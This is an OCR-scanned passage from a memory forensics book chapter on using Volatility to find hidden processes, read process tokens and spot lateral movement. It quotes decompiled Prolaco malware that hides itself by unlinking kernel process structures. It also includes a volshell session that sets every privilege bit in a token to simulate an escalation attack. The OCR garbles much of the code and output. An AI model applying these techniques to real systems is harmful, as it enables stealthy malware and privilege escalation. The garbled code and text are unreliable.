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. 0x822c8ab58:AcroRd32.exe 2644 180 0 ------ 2013-03-14 14:40:16
. 0x81e79418:thunderbird.exe 3832 1300 30 339 2013-03-14 03:12:54
. 0x8210b9c8:IEXPLORE.EXE 1764 1300 16 642 2013-03-14 03:03:04

When viewing the processes as a tree, it’s much easier to determine the possible events
that took place during the attack. You can see that firefox.exe (PID 180) was started by
explorer.exe (PID 1300). This is normal—anytime you launch an application via the
start menu or by double-clicking a desktop icon, the parent is Windows Explorer. It is
also fairly common for browsers to create instances of Adobe Reader (acrord32.exe) to
render PDF documents accessed via the web. The situation gets interesting when you
see that aAcrords2. exe invoked a command shell (cmd. exe), which then started a[1] . php.

At this point, you can assume that a web page visited with Firefox caused the browser
to open a malicious PDF. An exploited flaw in Acrord3z2.exe allowed the attacker to use
a command shell to further his efforts in installing additional malware on the system.

Process Tree Visualizations

Another way to visualize the parent and child relationships between processes is to use
the psscan command with the dot graph renderer (- -output=dot). This functionality is
based on Andreas Schuster’s PTFinder tool (ht tp://www.dfrws.org/2006/proceedings/
2-Schuster-pres.pdf), which also produced graphs for visual analysis. Because this per-
spective of the processes is based on pool-scanning through the physical address space,
it also incorporates terminated and hidden processes into the graph. You can generate a
graph like this:
$ python vol.py psscan -f memory.bin --profile=Win7SP1x64

--output=dot
--output-£file=processes.dot

Then open the output file in Graphviz (http://www.graphviz.org), as shown in
Figure 6-3.

Based on the graph, you can verify several statements that were previously discussed.
For example, System starts smss.exe, which starts csrss.exe and winlogon.exe (on
Windows XP and 2003 systems). You can then see winlogon.exe creating services.exe

and 1sass.exe. The SCM process goes on to create spoolsv.exe and various instances
of svchost . exe. But this is only part of the picture. The remainder of the graph is shown
in Figure 6-4.

As seen here, a process with PID 1188 started explorer.exe, but its _EPROCESS is no
longer memory-resident, so additional information, such as the parent process name, is
not available. This is typical of XP and 2003 systems because userinit . exe starts Explorer
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and it exits soon after. As you follow the remaining arrows, the diagram confirms the
theories we generated by looking at the pstree output.

4 System | running

v

580 |smss.exe| running

N

644 csrss.exe | running 668 | winlogon.exe | running
pd N
/ 712 |services.exe | running 724 | Isass.exe | running
%
. \\ —
1408 | spoolsv.exe | running 1120 | svchost.exe | running 1868 | svchost.exe | running

Figure 6-3: A graph generated by psscan that shows critical system process relationships

pid 1188

1300 |explorer.exe| running

N T

180 | firefox.exe | running 1556 | TSVNCache.exe | running 1764 | IEXPLORE.EXE | running

~

3684 | AcroRd32.exe

exited
2013-03-14 14:19:30 UTC+0000

v

3812 cmd.exe running

'

2280 al1l.php running

'

2276 | IEXPLORE.EXE | running

Figure 6-4: A diagram of processes involved in a malicious PDF exploit delivered via the web
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Detecting DKOM Attacks

Many attacks are possible with Direct Kernel Object Manipulation (DKOM), but one of the
most common is hiding a process by unlinking its entry from the doubly linked list. To
accomplish this, overwrite the Flink and B1link pointers of surrounding objects so that
they point around the _eprocEss structure of the process to hide. Tools that execute on a
running system and Volatility’s ps1ist command are susceptible to this attack, because
they rely on the linked list. However, the psscan plugin uses the pool-scanning approach
described in Chapter 5. This way, you can find _EProcESs objects in memory, even if they
are unlinked from the list.

Before we begin with the example, consider the following ways that malware can
directly modify kernel objects:

By loading a kernel driver, which then has unrestricted access to objects in kernel
memory

By mapping a writable view of the \Device\PhysicalMemory object (however, start-
ing with Windows 2003 SP1 and Vista, access to this object is restricted from user-
mode programs)

By using a special native API function called zwsystembebugControl

The Case of Prolaco

To demonstrate how you can use psscan to find hidden processes, we’ll focus on a malware
sample known to antivirus vendors as Prolaco (see https: //www.avira.com/en/support -
threats-description/tid/5377/). This malware performs DKOM entirely from user
mode, without loading any kernel drivers. It does so by using the zwsystembebugControl
API in almost the exact manner described by Alex Ionescu on the OpenRCE website
(http://www.openrce.org/blog/view/354/). Figure 6-5 shows a decompilation of Prolaco,
as produced by IDA Pro and Hex-Rays.

Based on the image, you can make the following conclusions about how the malware
performs DKOM:

It enables the debug privilege (sebebugprivilege), which gives the process the
required access for using ZwSystemDebugControl.

It calls NtQuerySystemInformation with the systemModuleInformation class to locate
the base address of the NT kernel module.

It finds psInitialsystemProcess, which is a global variable exported by the NT
module that points to the first process’ _EPROCESs object.

It walks the linked list of _EPROCESS objects until it finds the process with a PID that
matches pidofProcessToHide. The fixed number oxss being used inside the while
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loop is the offset to ActiveProcessLinks within the _EPRroCESS structure for 32-bit
Windows XP systems. Also note that pidofprocessToHide is passed into the func-
tion as a parameter. The malware derives the value using GetCurrentProcessId,
which means it tries to hide itself.

® It calls writekernelMemory, which is merely a wrapper around zwsystembebugControl
that writes four bytes at a time to a specified address in kernel memory. The func-
tion is called once to overwrite the F1ink pointer and once for the B1ink pointer.
Figure 6-6 shows the contents of this function.

r
B Pseudocode-A

Enablebebug();

HumOfElements = Bx128u;

HtQuerySystemInformation({11, 8, @, &NumOfElements, u3, vk, v5, w6);
u7 = al;

[1}:] al;

v? = calloc{HumDfElements, 1u);

HtQuerySystemInformation(11, v9, HumOfElements, @, vi18, vil, vE, v7);
memcpy(&hst, ve, 82128u);

free(u?);

ui?2 = v25;

memcpy{&LibFileName, &Src[v26], 256 - v26);

hHodHt = LoadLibraryA{&LibFileName};

BaseOfHt = hHModHE;

eprocSystem = BetProcAddress{hModHt, "PsInitialSystemProcess');

v23 = ReadKernelMemory({{eprocSystem + vi2) - BaseDfHt);
FreeLibrary({BaseOfHt});

v28 = ReadKernelHemory{v23 + B8x88);

u2 = v23;

while ( 1)
1

vi? w2 + BxB88;
u19 = ReadKernellemory({u? + Bx88);
vig vwif;
This loop scans the process u? = u19 - Bx88;
|i$t fOI’ a speciﬂc P|D u2? = ReadKernelbemory{vi9};
UniqueProcessId = ReadKernelHemory({uvi8 - 4);

if ( UniqueProcessId == PidOfProcessToHide )

break;
if ( w23 == w2 )

return UniqueProcessId;

WriteKerneIMemorg{ul7, U223
WritekKernelHemory(v22 + &4, ui17);
WriteKernelMemory{u18, v21};

return UriteKernelMemory(uig + &4, v28);

|

HideCurrentProcess: 32

Figure 6-5: Prolaco sample loaded in IDA with Hex-Rays, showing the main DKOM function

-
B Pseudocode-B
int64 _ cdecl WiteKernelMemory{int a1, char a2)

{
__intés u3; f7 ST18_8@1
SYSDBG_UIRTUAL SYSDBG_UIRTUAL; // [sp+14h] [bp-Ch]@1

SYSDEG_VUIRTUAL .Address = ai;

SYSDEG_UIRTUAL .Buffer Ba?;

SYSDEG_UIRTUAL .Length L H

ZwSystemDebugControl{?, &SYSDEG UIRTUAL, 12, B, 8, 8);
return vi3;

| €

‘writeKernelMemory:0

Figure 6-6: The ZwSystemDebugControl call used to
overwrite pointers in kernel memory
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At this point, all the aforementioned live system APIs (and tools that rely on them)
will report inaccurate process listings. In particular, they’ll fail to identify the one process
most relevant to your investigation: the malware that just unlinked its own _EPROCESS.

Alternate Process Listings

As previously mentioned, it’s never a good idea to base your conclusions on only one
piece of evidence. Because the process list can be manipulated, you should be aware of
the available backup methods, or alternate process listings. Here are a few of them:

Process object scanning: This is the pool-scanning approach discussed in Chapter 5.
Remember that the pool tags it finds are nonessential; thus, they can also be manip-
ulated to evade the scanner.

Thread scanning: Because every process must have at least one active thread, you
can scan for _ETHREAD objects and then map them back to their owning process. The
member used for mapping is either _ETHREAD. ThreadsProcess (Windows XP and
2003) or ETHREAD.Tcb.Process (Windows Vista and later). Thus, even if a rootkit
manipulated the process’ pool tags to hide from psscan, it would also need to go
back and modify the pool tags for all the process’ threads.

CSRSS handle table: As discussed in the critical system process descriptions,
csrss.exe is involved in the creation of every process and thread (with the excep-
tion of itself and the processes that started before it). Thus, you can walk this
process” handle table, as described later in the chapter, and identify all _EProcEss
objects that way.

PspCid table: This is a special handle table located in kernel memory that stores a ref-
erence to all active process and thread objects. The pspcidTable member of the kernel
debugger data structure points to the table. Two rootkit detection tools, Blacklight
and IceSword, relied on the PspCid table to find hidden processes. However, the
author of FUTo (see http://www.openrce.org/articles/full_view/19) proved it
was still possible to hide by removing processes from the table.

Session processes: The sessionProcessLinks member of _EPROCESS associates all
processes that belong to a particular user’s logon session. It’s not any harder to
unlink a process from this list, as opposed to the ActivepProcessLinks list. But
because live system APIs don’t depend on it, attackers rarely find value in target-
ing it.

Desktop threads: One of the structures discussed in Chapter 14 is the Desktop
(tagpEskToP). These structures store a list of all threads attached to each desktop,
and you can easily map a thread back to its owning process.
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Plenty of additional sources of process listings remain. However, we’ve never encoun-
tered a rootkit that even comes close to hiding from the ps1ist plugin and then hides
from all these methods as well. That’s why we built the psxview plugin, described next.

Process Cross-View Plugin

The psxview plugin enumerates processes in seven different ways: the active process
linked list and the six methods previously identified. Thus, it’s unlikely that a rootkit
can successfully hide from psxview. Realistically, it’s far easier to just inject code into a
process that’s not hidden than to hide a process seven different ways in a reliable (that is,
no bugs) and portable manner (works across all Windows versions).

The psxview plugin displays one row for each process it finds and seven columns that
contain True or False, based on whether the process was found using the respective
method. If you supply the - -apply-rules option, you might also see okay in the columns,
which indicates that although the process was not found, it meets one of the valid excep-
tions described in the following list:

Processes that start before csrss.exe (including System, smss.exe and csrss.exe
itself) are not in the CSRSS handle table.

Processes that start before smss . exe (including systemand smss. exe) are not in the
session process or desktop thread lists.

Processes that have exited will not be found by any of the methods except process
object scanning and thread scanning (if an _EProcEss or _ETHREAD still happens to
be memory resident).

An example of the psxview output when used with - -apply-rulesis shown in Figure 6-7.
The last two processes (msiexec.exe and rund1132.exe) are found only by the process
object scanner. However, as shown in the far right column, they both have nonzero exit
times, which means they have terminated.

WARNING

After attackers gain access to kernel memory, they can manipulate anything they want.
In this case, they could overwrite the _EPROCESS.ExitTime member to make it appear
as if the process exited; thus the --apply-rules option would improperly report it as
okay. However, processes that have truly exited have zero threads and an invalid handle
table—so you can always double-check what those fields contain.
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$ python vol.py -f prolaco.vmem psxview --apply-rules

Volatility Foundation Velatility Framework 2.4 (Beta)

Offset(P) Name PID pslist psscan thrdproc pspcid csrss session deskthrd ExitTime
0x06499bB0 svchost . exe 1148 True True True True True True True

0x04b5a%B0 VMwareUser.exe 452 True True True True True True True

0x05£027e0 alg.exe 216 True True True True True True True

0x010£7588 wuauclt.exe 468 True True True True True True True

0x04c2b310 wscntfy.exe 888 True True True True True True True

0x0Elef558 svchost.exe 1088 True True True True True True True

0x0E015020 services.exe 676 True True True True True True True

0x06384230 vmacthlp.exe 844 True True True True True True True

0x069d5b28 vmtoolsd. exe 1668 True True True True True True True

0x04a544b0 ImmunityDebugge 1136 True True True True True True True

0x0E55£cB8 VMUpgradeHelper 1788 True True True True True True True

0x06945da0 spoolsv.exe 1432 True True True True True True True

0x05£47020 lsass.exe 688 True True True True True True True

0x0113£648 1_doc_RCData_61 1336 False True True True True True True

0x04a065d0 explorer.exe 1724 True True True True True True True

O0x0E6£0978 winlogon.exe €32 True True True True True True True

0x0115b8d8 svchost.exe 856 True True True True True True True

0x0E3c5560 avchost.exe 936 True True True True True True True

0x01122910 svchost.exe 1028 True True True True True True True

Ox04bedTe8 VMwareTray.exe 432 True True True True True True True

0x0211ab28 TPAuteConnSve.e 1968 True True True True True True True

0x049c15f8 TPAuteConnect.e 1084 True True True True True True True

0x05471020 smas.exe 544 True True True True Okay Okay Okay

0x0E6E0dal csrss.exe 608 True True True True Okay True True

0x01214660 System 4 True True True True Okay Okay Okay

0x0E40acl0 msiexec.exe 1144 Ckay True Ckay Okay Okay Okay Okay 2010-08-11 16:50:08 UTC+0000
0x005£23a0 rundll32.exe 1260 Ckay True Okay Okay Okay Okay Okay 2010-08-11 16:50:42 UTC+0000

Figure 6-7: Psxview output after applying rules to consider exceptions

As shown in the figure, the only process that stands out after considering the rules is
1_doc_RCData_61.exe—it’s found by every method except the linked list of active processes.
This is a clear indication that it is trying to hide from live system APIs by unlinking from
the list.

Process Tokens

A process’ token describes its security context. This context includes security identifiers
(SIDs) of users or groups that the process is running as and the various privileges (specific
tasks) that it is allowed to perform. When the kernel needs to decide whether a process
can access an object or call a particular AP, it consults data in the process’ token. As a
result, this structure dictates many of the security-related controls that involve processes.
This section describes how to leverage tokens to augment your investigations.

Analysis Objectives

Your objectives are these:
Map SIDs to usernames: A process’ token contains numerical SID values that you
can translate into a string and then resolve into a user or group name. This ulti-
mately enables you to determine the primary user account under which a process
is running.
Detect lateral movement: When hacking techniques such as pass-the-hash (http://
www.microsoft.com/security/sir/strategy/default.aspx#!pass_the hash

_attacks) are successful, they leave obvious artifacts in a process’ token. Specifically,
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you see a process’ security context jump to that of Domain Admin or Enterprise
Admin.

Profile process behaviors: A privilege (discussed later in the chapter) is the right
to perform a specific task. If a process plans to engage in a task, it first must ensure
that the privilege is present and enabled in its token. Thus, an ex post facto analysis
of the privileges that a process has acquired can provide clues about what the
process did (or planned to do).

Detect privilege escalation: Some attacks have proven that live tools such as
Process Explorer can be deceived into reporting that a process has fewer privileges
than it actually has. You can use memory forensics to more accurately determine
the truth.

Data Structures

The _ToxEN structure is large, so we won't display all the members. Furthermore, it

changed significantly with respect to how privilege information is stored between Win-

dows 2003 and Vista. The following code first shows the earlier versions of the structures,

from a

64-bit 2003 system:

>>> dt ("_TOKEN")

' _TOKEN' (208 bytes)
0x0 : TokenSource ['_TOKEN_SOURCE']
0x10 : TokenId ['_LUID']
0x18 : AuthenticationId ['_LUID']
[snip]
0x4c : UserAndGroupCount ['unsigned long']
0x50 : RestrictedSidCount ['unsigned long']
0x54 PrivilegeCount ['unsigned long']
[snip]
0x68 : UserAndGroups ['pointer', ['array',
lambda x: x.UserAndGroupCount, [' SID AND ATTRIBUTES']]]
0x70 : RestrictedSids ['pointer64', [' SID AND ATTRIBUTES']]
0x78 PrimaryGroup ['pointer6d', ['void']]
0x80 Privileges ['pointer', ['array',
lambda x: x.PrivilegeCount, ['_ LUID AND ATTRIBUTES']]]

>>> dt("_SID AND ATTRIBUTES")
' SID AND ATTRIBUTES' (16 bytes)

0x0
0x8

: Sid ['pointer6d', ['void']]
: Attributes ['unsigned long']

>>> dt("_SID")
' SID' (12 bytes)

0x0
0x1
0x2
0x8

: Revision ['unsigned char']
: SubAuthorityCount ['unsigned char']
IdentifierAuthority ['_SID IDENTIFIER AUTHORITY']

: SubAuthority [tarray',
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lambda x: x.SubAuthorityCount, ['unsigned long']]

>>> dt("_SID IDENTIFIER AUTHORITY")
' _SID_IDENTIFIER_AUTHORITY' (6 bytes)

0x0

: Value [tarray', 6, ['unsigned char']]

>>> dt("_LUID AND ATTRIBUTES")
' LUID AND ATTRIBUTES' (12 bytes)

0x0
0x8

Luid ['_LUID']
: Attributes ['unsigned long']

>>> dt("_LUID")
' LUID' (8 bytes)

0x0
0x4

LowPart ['unsigned long']
: HighPart ['long']

Here are the equivalent structures for 64-bit Windows 7:

>>> dt ("_TOKEN")
' TOKEN' (784 bytes)

0x0 : TokenSource ['_TOKEN_SOURCE']

0x10 : TokenId ['_LUID']

0x18 : AuthenticationId ['_LUID']

[snip]

0x40 Privileges ['_SEP TOKEN PRIVILEGES']

0x58 : AuditPolicy ['_SEP_AUDIT POLICY']

0x74 SessionId ['unsigned long']

0x78 : UserAndGroupCount ['unsigned long']

[snip]

0x90 : UserAndGroups ['pointer', ['array',
lambda x: x.UserAndGroupCount, [' SID AND ATTRIBUTES']]]

>>> dt ("_SEP_TOKEN PRIVILEGES")

' _SEP_TOKEN_PRIVILEGES' (24 bytes)

0x0 Present ['unsigned long long']

0x8 Enabled ['unsigned long long']

0x10 EnabledByDefault ['unsigned long long']
Key Points

The key points are these:

UserAndGroupCount: This integer stores the size of the userandGroups array.
UserAndGroups: An array of _SID_AND ATTRIBUTES structures associated with the
token. Each element in the array describes a different user or group that the process
is a member of. The sid member of _SID_AND ATTRIBUTES points toa _sID structure,
which has 1dentifieraAuthority and subauthority members that you can combine
to form the s-1-5- [snip] SID strings.
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PrivilegeCount (Windows XP and 2003 only): This integer stores the size of the
Privileges array.

Privileges (Windows XP and 2003): An array of _LUID_AND_ATTRIBUTES structures
that each describe a different privilege and its attributes (that is, present, enabled,
enabled by default).

privileges (Windows Vista and later): This is an instance of SEP TOKEN PRIVILEGES,
which has three parallel 64-bit values (Present, Enabled, EnabledByDefault). The
bit positions correspond to particular privileges, and the values of the bit (on or
off) describe the privilege’s status.

Live Response: Accessing Tokens

On a live machine, a process can access its own token through the openprocessToken AP
To enumerate the SIDs or privileges, it can then use Get TokenInformation with the desired
parameters. With administrator access, it can also query (or set) the tokens of other users’
processes, including the system-critical ones. Of course, existing tools already provide this
type of functionality for you, such as Sysinternals Process Explorer. Figure 6-8 shows the
token information for explorer.exe. The SID data appears at the top, and the privilege
data appears in the lower level.

s explorer.exei1824 Properties El@
| Image I Performance I Performance Graph I Disk and Network |

Threads I TCR/IP Security | Environment I Strings |
User: LH-71277P139185I Jimmy

‘g SID: 5-1-5-21-1912052943-3509129379-1843942232-1000
Session: 1 virtualized: No
Group Flags i~
Logon SID (5-1-5-5-0-135456) Mandatory |=
Everyone Mandatory
Mandatory Label\Medium Mandatory Level Integrity
LOCAL Mandatory
NT AUTHORITY \Authenticated Users Mandatory ~
‘ m 3
Group 5ID: nfa

%’ Privilege Flags

— SeChangeMotifyPriviege Default Enabled
SelncreaseWorkingSetPrivilege  Disabled
SeShutdown Privilege Disabled
SeTimeZongePrivilege Disabled
SelndockPrivilege Disabled

Figure 6-8: The Process Explorer Security tab shows
SID and privilege information from process tokens.
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This instance of explorer.exe belongs to a user named Jimmy, whose SID string is
S-1-5-21- [snip] -1000. By analyzing the other SIDs in this process’ token, you can see
it’s also in the Everyone, LOCAL, and NT AUTHORITY\Authenticated Users groups. Five
privileges are also present in the token, but only one of them is currently enabled. The
next few pages discuss these concepts in more detail.

Extracting and Translating SIDs in Memory

The live APIs we just described are convenient ways to enumerate SIDs on running sys-
tems. Windows also provides the convertsidrostringsid API that translates the numeri-
cal data in a _s1D structure to the human readable s-1-5- [snip] format. It also provides
LookupAccountSid that returns an account name for a given SID. However, because we're
dealing with memory dumps, Volatility (the getsids plugin in particular) is responsible
for finding each process’ token, extracting the numerical components of the _s1p structure,
and translating them into strings. After it is done, it maps the strings to user and group
names on the local computer or domain.

You can perform the mapping in a few different ways. First, the Known SIDs (see http://
support .microsoft .com/kb/243330) are hardcoded into Windows and thus can be hard-
coded into the Volatility plugin. They consist of SIDs such as s-1-5 (NT Authority) and
S-1-5-32-544 (Administrators). There are also Service SIDs prefixed with s-1-5-80. The
remainder of the SID in this case is composed of the SHA1 hash of the corresponding ser-
vice name (in Unicode, uppercase)—an algorithm described in greater detail here: http://
volatility-labs.blogspot.com/2012/09/movp-23-event-logs-and-service-gids.html.

Finally, there are User SIDs such as s-1-5-21-4010035002-774237572-2085959976-1000.
These SIDs break down into the following components:

S: Prefix indicating that the string is a SID

1: The revision level (version of the SID specification) from _sIp.Revision

5: The identifier authority value from _sIp.IdentifierAuthority.vValue
21-4010035002-774237572-2085959976: The local computer or domain identifier
from the siD.SubAuthority values

1000: A relative identifier that represents any user or group that doesn’t exist by
default

You can map the SID string to a username by querying the registry. The following
command shows an example of how to do this:

$ python vol.py -f memory.img --profile=Win7SP0x86 printkey -K "Microsoft\Windows

NT\CurrentVersion\ProfileList\S-1-5-21-4010035002-774237572-2085959976-1000"

Volatility Foundation Volatility Framework 2.4
Legend: (S) = Stable (V) = Volatile
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Registry: User Specified
Key name: S-1-5-21-4010035002-774237572-2085959976-1000 (S)
Last updated: 2011-06-09 19:50:32

Subkeys:

Values:

REG_EXPAND SZ ProfileImagePath : (S) C:\Users\nkESis3ns88S

REG_DWORD Flags : (8) 0

REG_DWORD State ¢ (8) 0

REG BINARY Sid : (8)

0x00000000 01 05 00 00 00 00 00 05 15 00 00 00 3a 47 04 ef  ............:G.
0x00000010 84 ed 25 2e 28 39 55 7c e8 03 00 00 .5 (9U] ...
[snip]

By appending the SID string to the profileList registry key, you can see a value named
ProfileImagePath. The username is then defined within the profile path. In this case, the
user’s name was nkESis3ns88s (it was a randomly generated backdoor account an attacker
created to retain access to the system).

NOTE

For more information on translating SID values, see the following links:
Linking Processes to Users: http://moyix.blogspot.com/2008/08/
linking-processes-to-users.html.
How to Associate a Username with a Security Identifier (SID): http://support
.microsoft.com/kb/154599/en-us
SecurﬁyldenﬁﬁerStﬂuﬁure:http://technet.microsoft.com/en—us/library/
cc962011.aspx.

Detecting Lateral Movement

If you need to associate a process with a user account or investigate potential lateral move-
ment attempts, use the getsids plugin. The following output is from Jack Crook’s GrrCON
forensic challenge (see http://michsec.org/2012/09/misec-meetup-october-2012/).

$ python vol.py -f grrcon.img --profile=WinXPSP3x86 getsids -p 1096
Volatility Foundation Volatility Framework 2.4

explorer.exe: S-1-5-21-2682149276-1333600406-3352121115-500 (administrator)
explorer.exe: S-1-5-21-2682149276-1333600406-3352121115-513 (Domain Users)
explorer.exe: S-1-1-0 (Everyone)

explorer.exe: S-1-5-32-545 (Users)
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explorer.exe: S-1-5-32-544 (Administrators)

explorer.exe: S-1-5-4 (Interactive)

explorer.exe: S-1-5-11 (Authenticated Users)

explorer.exe: S-1-5-5-0-206541 (Logon Session)

explorer.exe: S-1-2-0 (Local (Users with the ability to log in locally))
explorer.exe: S-1-5-21-2682149276-1333600406-3352121115-519 (Enterprise Admins)
explorer.exe: S-1-5-21-2682149276-1333600406-3352121115-1115

explorer.exe: S-1-5-21-2682149276-1333600406-3352121115-518 (Schema Admins)
explorer.exe: S-1-5-21-2682149276-1333600406-3352121115-512 (Domain Admins)

This command shows the SIDs associated with explorer.exe for the current logged-on
user. You'll immediately notice that one SID (s-1-5-21- [snip] -1115) doesn't display an
account name. On systems that don’t authenticate to a domain, you’ll see the local user’s
name next to the SID. In this case, however, because Volatility doesn’t have access to the
remote machine’s registry (that is, the domain controller or Active Directory server), it
cannot perform the resolution.

The question you can answer with getsids is this: What level of access did the attacker
gain? Don't stop short after seeing that explorer. exe is a member of the Administrators
group. The attacker on this machine actually joined the Domain and Enterprise Admins
groups, allowing him to move laterally throughout the entire corporate network. In
this particular scenario, the attacker combined a Poison Ivy (PI) Remote Access Trojan
(RAT) with the use of a Pass the Hash (PtH) attack. You can read a full analysis of this
attack here: http://volatility-labs.blogspot.com/2012/10/solving-grrcon-network-

forensics.html.

Privileges

Privileges are another critical component involved in security and access control. A privi-
lege is the permission to perform a specific task, such as debugging a process, shutting
down the computer, changing the time zone, or loading a kernel driver. Before a process
can enable a privilege, the privilege must be present in the process’ token. Administrators
decide which privileges are present by configuring them in the Local Security Policy
(LSP), as shown in Figure 6-9, or programmatically by calling LsaaddAccountRights. You
can access the LSP by going to Start &> Run and typing secpol .msc.
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1 Local Security Policy ==
File Action View Help

e | 2E XD = Hm

i Security Settings Policy = Security Setting -

A Account Policies
4 [ 4 Local Policies
» [ Audit Policy
+ 3 User Rights Assignment
& Security Options
| Windows Firewall with Advanc
| Metwork List Manager Policies
_| Public Key Policies
~| Software Restriction Policies
. g IP Security Policies en Local Cc

| Access Credential Manager as a trusted call...
| Access this computer from the network

| Act as part of the operating system

| Add workstations to domain

| Adjust memory quotas for a process

| Allow log on locally

| Allow log on through Terminal Services

| Back up files and directories

| Bypass traverse checking

| Change the system time

Change the time zone

Everyone Administrators,Users,Backup O...

LOCAL SERVICE,METWORK SERVICE Adm...
Guest, Administrators, Users,Backup Oper...

Administrators, Remote Desktop Users

Administrators,Backup Operators

Everyone LOCAL SERVICE, NETWORK SER...

LOCAL SERVICE,Administrators
LOCAL SERVICE, Administrators,Users

mn

| Create a pagefile Administrators

Create a token object

Fa G Y N e

| AC AL CEDUIFE METIAMDY CEDUTNE A du

Figure 6-9: Administrators can configure privileges using the Local Security Policy editor.

Commonly Exploited Privileges

After a privilege is present in a process’ token, it must be enabled. The following list
describes a few ways to enable privileges:

Enabled by default: The LSP can specify that privileges be enabled by default
when a process starts.

Inheritance: Unless otherwise specified, child processes inherit the security context
of their creator (parent).

Explicit enabling: A process can explicitly enable a privilege using the
AdjustTokenPrivileges APL

From a forensic perspective, you should be most concerned with the following privi-
leges when they’ve been explicitly enabled. For a full list of possible privileges and
their descriptions, see http://msdn.microsoft.com/en-us/library/windows/desktop/
bb530716 (v=vs.85) .aspx.

SeBackupPrivilege: This grants read access to any file on the file system, regard-
less of its specified access control list (ACL). Attackers can leverage this privilege
to copy locked files.

SeDebugPrivilege: This grants the ability to read from or write to another process’
private memory space. It allows malware to bypass the security boundaries that
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typically isolate processes. Practically all malware that performs code injection
from user mode relies on enabling this privilege.

SeLoadDriverPrivilege: This grants the ability to load or unload kernel drivers.
SeChangeNotifyPrivilege: This allows the caller to register a callback function that
gets executed when specific files and directories change. Attackers can use this
to determine immediately when one of their configuration or executable files are
removed by antivirus or administrators.

SeShutdownPrivilege: This allows the caller to reboot or shut down the system.
Some infections, such as those that modify the Master Boot Record (MBR) don't
activate until the next time the system boots. Thus, you'll often see malware trying
to manually speed up the procedure by invoking a reboot.

NOTE

Cem Gurkok helped design the Volatility support for analyzing privileges in mem-
ory. You can read his presentation, Reverse Engineering with Volatility on a Live Sys-
tem: The Analysis of Process Token Privileges, here: http://volatility-labs.blogspot.
com/2012/10/omfw-2012-analysis-of-process-token.html.

Analyzing Explicit Privileges

The reason why we're typically most interested in explicitly enabled privileges is because
it shows awareness, or intent. If a process can change the time zone, because the LSP
gives all processes that capability or because its parent process had that capability, that
doesn't really tell you anything about the intended functionality of the process. On the
other hand, if a process explicitly enabled the privilege to change time zones, you can bet
it will try changing the time zone.

Here’s the output of the Volatility privs plugin. You'll see the privilege name along
with its attributes (present, enabled, and/or enabled by default).

$ python vol.py -f grrcon.img privs -p 1096
Volatility Foundation Volatility Framework 2.4

Pid Process Privilege Attributes

1096 explorer.exe SeChangeNotifyPrivilege Present,Enabled, Default
1096 explorer.exe SeShutdownPrivilege Present

1096 explorer.exe SeUndockPrivilege Present,Enabled

1096 explorer.exe SeSecurityPrivilege Present

1096 explorer.exe SeBackupPrivilege Present

1096 explorer.exe SeRestorePrivilege Present

1096 explorer.exe SeSystemtimePrivilege Present

1096 explorer.exe SeRemoteShutdownPrivilege Present
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1096 explorer.exe SeTakeOwnershipPrivilege Present
1096 explorer.exe SeDebugPrivilege Present,Enabled
1096 explorer.exe SeSystemEnvironmentPrivilege Present
1096 explorer.exe SeSystemProfilePrivilege Present

1096 explorer.exe SeProfileSingleProcessPrivilege Present
1096 explorer.exe SelIncreaseBasePriorityPrivilege Present

1096 explorer.exe SeLoadDriverPrivilege Present,Enabled

1096 explorer.exe SeCreatePagefilePrivilege Present

1096 explorer.exe SelncreaseQuotaPrivilege Present

1096 explorer.exe SeManageVolumePrivilege Present

1096 explorer.exe SeCreateGlobalPrivilege Present,Enabled,Default
1096 explorer.exe SelmpersonatePrivilege Present, Enabled,Default

You can see several privileges present in the output. Only six of them are enabled, but
three are enabled by default. Thus, you can conclude that explorer.exe explicitly enabled
the undock privilege, debug privilege, and load driver privilege. You'll realize over time
that explorer.exe always enables the undock privilege, so that one is not concerning. But
why does Windows Explorer need to debug other processes and load kernel drivers? The
answer is simple: It doesn’t! This process is hosting an injected Poison Ivy (PI) sample,
and PI explicitly enabled the privileges.

Detecting Token Manipulation

As previously mentioned, the Windows API (adjustTokenPrivileges) does not, and
should not, allow enabling a privilege that isn’t present in a token. Thus, it makes sense
that APIs such as GetTokenInformation (and tools based on this API) would first check
what’s present and then return the enabled subset. Here’s the catch: A talented researcher,
Cesar Cerrudo, discovered that when checking to see if a process can perform a task,
the kernel cares only about what’s enabled. As a result, Cesar proposed in his paper,
Easy Local Windows Kernel Exploitation (see https://www.blackhat.com/html/bh-us-12/
bh-us-12-archives.html#Cerrudo), a method to bypass Windows APIs and enable all
privileges for a process, even without them being present.

Attack Simulation with Volshell

Cesar’s attack is based on the DKOM approach. He locates the _sEP_TOKEN_PRIVILEGES

structure for the target process and sets the 64-bit Enabled member to 0xFFFFFFFFFFFFFFFF.
This effectively enables all possible privileges. He does not update the present member,
so it will reflect only the privileges that were present before the attack. To simulate these
steps, you can use Volatility in write mode to modify a VM'’s memory. When you're done,
resume the VM, and the changes will take effect. This is easier than writing a kernel
driver—especially when it’s just for testing purposes.

$ python vol.py -f VistaSP0x64.vmem --profile=VistaSP2x64 volshell --write
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Volatility Foundation Volatility Framework 2.4

Write support requested. Please type "Yes, I want to enable write support"
Yes, I want to enable write support

Current context: process System, pid=4, ppid=0 DTB=0x124000

To get help, type 'hh()'

>>> cc(pid = 1824)

Current context: process explorer.exe, pid=1824, ppid=1668 DTB=0x918d000

Now that you're in the target process’ context, obtain a pointer to its _ TOKEN structure.
Then you can print the 64-bit numbers as a binary string, like this:

>>> token = proc().get token()

>>> bin(token.Privileges.Present)

'0b11000000010100010000000000000000000"

>>> bin(token.Privileges.Enabled)
'0b100000000000000000000000"

The next commands set all bits in the Enabled member and reprint the values to verify
that it indeed has been updated. Then, you can quit the shell.

>>> token.Privileges.Enabled = OxFFFFFFFFFFFFFFFF

>>> bin(token.Privileges.Present)
'0b11000000010100010000000000000000000"

>>> bin(token.Privileges.Enabled)
'0p111111111111121111211211212111121211121212111111121111121111111111111"
>>> quit ()

Figure 6-10 shows how the kernel data structure appears after the manipulation.

NOTE

Figure 6-10 is not drawn to scale (the members shown aren’t actually 64 bits wide). Also,
if you want to see the exact bit position mappings, look in the volatility/plugins/
privileges.py source file.

_SEP_TOKEN_PRIVILEGES

64 bits | 11000000010100010000000000000000000 Present
64 bits | 1111111111111111111111111111111111 Enabled
64 bits | 00000000000100000000000000000000000 Default

[

Figure 6-10: All bits in the Enabled member have been set by directly
modifying the structure in kernel memory.

Change Notify Privilege
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According to the previous volshell output and Figure 6-10, only five bits are set in the

Present member, which means that a maximum of five privileges are reported by tools

running on the live system. Figure 6-11 shows how this appears in Process Explorer:

ai Privilege

— SeChangeMotifyPrivilege
SeShutdown Privilege
SeTimeZonePrivilege
